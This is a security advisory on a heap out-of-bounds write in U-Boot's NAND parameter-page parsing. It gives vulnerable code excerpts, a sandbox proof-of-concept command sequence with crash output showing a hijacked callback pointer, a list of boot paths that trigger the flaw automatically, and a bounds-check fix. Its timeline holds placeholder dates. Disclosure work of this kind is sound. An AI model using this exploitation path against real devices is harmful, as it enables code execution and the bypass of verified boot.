Advisory ID:               SYSS-2026-038 
Product:                   Das U-Boot ("the universal boot loader")
Manufacturer:              DENX Software Engineering / U-Boot project
Affected Version(s):       all versions up to and including master
                           at commit 987907ae4bcc (v2026.07-rc3-00008)
Tested Version(s):         master at 987907ae4bcc
Vulnerability Type:        Out-of-bounds Write (CWE-787) 
Risk Level:                Medium
Solution Status:           Open
Manufacturer Notification: 2026-06-10
Solution Date:             (pending)
Public Disclosure:         (pending)
CVE Reference:             Not yet assigned
Author of Advisory:        Robin Trost, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

Das U-Boot is a widely deployed open-source bootloader for embedded
devices. 

The manufacturer describes the product as follows (see [1]):

"Das U-Boot, often shortened to U-Boot, is a free, open-source and 
extensible boot loader available for many architectures (ARM, MIPS, 
PowerPC, RISC-V, x86, x86_64), whose purpose is to perform various 
hardware initialization tasks and boot the device's operating system 
kernel."

Due to a missing bounds check within the raw-NAND subsystem a malicious
configured NAND chip presenting a crafted parameter page can make U-Boot
compute an out-of-range heap pointer that allows to write arbitrary data
to an arbitrary heap address.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

In drivers/mtd/nand/raw/nand_base.c, the ONFI parameter-page parser
reads the 32-bit "byte_per_page" and 16-bit "spare_bytes_per_page"
fields directly into mtd->writesize / mtd->oobsize without bound-
checking against NAND_MAX_PAGESIZE (16384) / NAND_MAX_OOBSIZE (1664)
-- the static sizes of the nand_buffers allocation that backs NAND
I/O (include/linux/mtd/rawnand.h:670):

  /* drivers/mtd/nand/raw/nand_base.c, nand_flash_detect_onfi() */
  mtd->writesize = le32_to_cpu(p->byte_per_page);           /* line 3932 */
  ...
  mtd->oobsize   = le16_to_cpu(p->spare_bytes_per_page);    /* line 3942 */

The JEDEC parser nand_flash_detect_jedec() at lines 4034 / 4040
repeats both defects.

The next step after parsing, in nand_scan_tail() at line 4953,
uses mtd->writesize as an unbounded pointer offset:

  /* drivers/mtd/nand/raw/nand_base.c, nand_scan_tail() */
  chip->oob_poi = chip->buffers->databuf + mtd->writesize;  /* line 4953 */

Subsequent ECC-OOB-aware NAND reads in nand_read_page_raw() (line
1774), nand_read_page_hwecc() (line 2021), and
nand_read_page_hwecc_oob_first() (line 2091) all write
mtd->oobsize chip-supplied bytes to chip->oob_poi:

  /* drivers/mtd/nand/raw/nand_base.c, nand_read_page_raw() */
  if (oob_required) {
      ret = nand_read_data_op(chip, chip->oob_poi,
                              mtd->oobsize, false);         /* line 1784 */
      ...
  }

The combination yields an arbitrary heap write primitive with both
the destination offset (via writesize) and the byte content (via the
NAND chip's bus response) controlled by the attacker.

This allows a malicious NAND chip to overwrite the "callback" function 
pointer of an entry in U-Boot's environment hash table 
(lib/hashtable.c:118, struct env_entry_node[]), which
is heap-allocated during initr_env -- after the NAND probe completes
but before bootcmd executes. The next env_set() / setenv on the
matching variable dispatches through the corrupted pointer via
do_callback() at lib/hashtable.c:245, yielding an indirect call to
attacker-supplied bytes.

This allows an attacker to execute arbitrary code; for example, 
it could be used to bypass a verified boot mechanism.

A similar vulnerability could be identified in the i.MX MXS NAND SPL 
driver (drivers/mtd/nand/raw/mxs_nand_spl.c).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

The PoC is demonstrated against the U-Boot sandbox build with
CONFIG_ASAN=y, ASLR disabled via setarch -R. The malicious NAND
chip is modelled by replacing the sandbox,onfi property of
arch/sandbox/dts/test.dts on nand@1 with a 256-byte attacker
ONFI page (byte_per_page = 0x205cb8, spare_bytes_per_page = 64,
matching CRC-16). The chip's OOB area of page 0 is pre-programmed
with attacker payload bytes (8 bytes of target PC value, then
zero-padded).

  $ setarch -R ./u-boot -d arch/sandbox/dts/test.dtb -c "
  mw.q 0x1000000 0x4141414141414141;
  mw.q 0x1000008 0x0000000000000000;
  ... (six more zero quadwords) ...
  nand device 1;
  nand write.oob 0x1000000 0 0x40;
  nand dump.oob 0;
  setenv baudrate 9600;

Observed output:
Device 1: nand1... is now current device

  NAND write: device 1 offset 0x0, size 0x40
   64 bytes written: OK

  OOB:
  00000000: 41 41 41 41 41 41 41 41  AAAAAAAA
  00000008: 00 00 00 00 00 00 00 00  ........
  [...]

  AddressSanitizer:DEADLYSIGNAL
  ====ERROR: AddressSanitizer: SEGV on unknown address
  ====The signal is caused by a READ memory access.
  ====Hint: this fault was caused by a dereference of a high value address
      #0 do_callback             lib/hashtable.c:245
      #1 _compare_and_overwrite_entry lib/hashtable.c:277
      #2 hsearch_r               lib/hashtable.c:341
      #3 env_do_env_set          env/common.c:130
      #4 cmd_call                common/command.c:582

  Register values:
  rax = 0x4141414141414141   <-- attacker-controlled PC value
  SUMMARY: AddressSanitizer: SEGV lib/hashtable.c:245 in do_callback

ASAN is triggered when the call rax instruction is executed within
do_callback(), demonstrating control over the indirect call target
and, consequently, control of execution flow.

In a production deployment, the sink can be reached automatically
during normal boot -- no user interaction is required. The following
boot mechanisms all dispatch nand_read_page_raw()/_hwecc() with
oob_required=1 on the malicious chip and therefore trigger the OOB
write without any post-boot input:

  - The Bad Block Table (BBT) scan during nand_scan_tail() (unless
    NAND_SKIP_BBTSCAN is set on the chip).
  - Environment load from NAND (CONFIG_ENV_IS_IN_NAND=y).
  - bootcmd performing "nand read ... ; bootm" -- the standard
    NAND-boot pattern.
  - UBI/UBIFS auto-attach and mount.
  - FIT image read from a NAND offset.

The subsequent callback dispatch is similarly triggered by normal
boot operations: bootargs construction, DHCP-driven ipaddr/gatewayip
updates, console redirection, ethaddr application during network
init, etc.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

One solution to fix the issue is to bound both fields against the static 
heap allocation before assigning them, in both nand_flash_detech_onfi()
and nand_flash_detect_jedec(): (see supplied patch files)

  u32 writesize = le32_to_cpu(p->byte_per_page);
  u16 oobsize   = le16_to_cpu(p->spare_bytes_per_page);

  if (writesize == 0 || writesize > NAND_MAX_PAGESIZE) {
      pr_err("ONFI: byte_per_page %u out of range (1..%u)\n",
             writesize, NAND_MAX_PAGESIZE);
      return 0;
  }
  if (oobsize > NAND_MAX_OOBSIZE) {
      pr_err("ONFI: spare_bytes_per_page %u exceeds %u\n",
             oobsize, NAND_MAX_OOBSIZE);
      return 0;
  }

  mtd->writesize = writesize;
  ...
  mtd->oobsize   = oobsize;


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2026-06-01: Vulnerability discovered
20YY-06-10: Vulnerability reported to manufacturer
20YY-XX:XX: Patch released by manufacturer
20YY-XX-XX: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for "Das U-Boot""
    https://u-boot.org/
[2] SySS Security Advisory SYSS-2026-038
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-038.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Robin Trost of SySS
GmbH.

E-Mail: robin.trost@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Robin_Trost.asc
Key ID: 0x698E6EB3
Key Fingerprint: 85FE 80E2 04F3 6177 C61A 4618 61DE F14F 698E 6EB3 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en

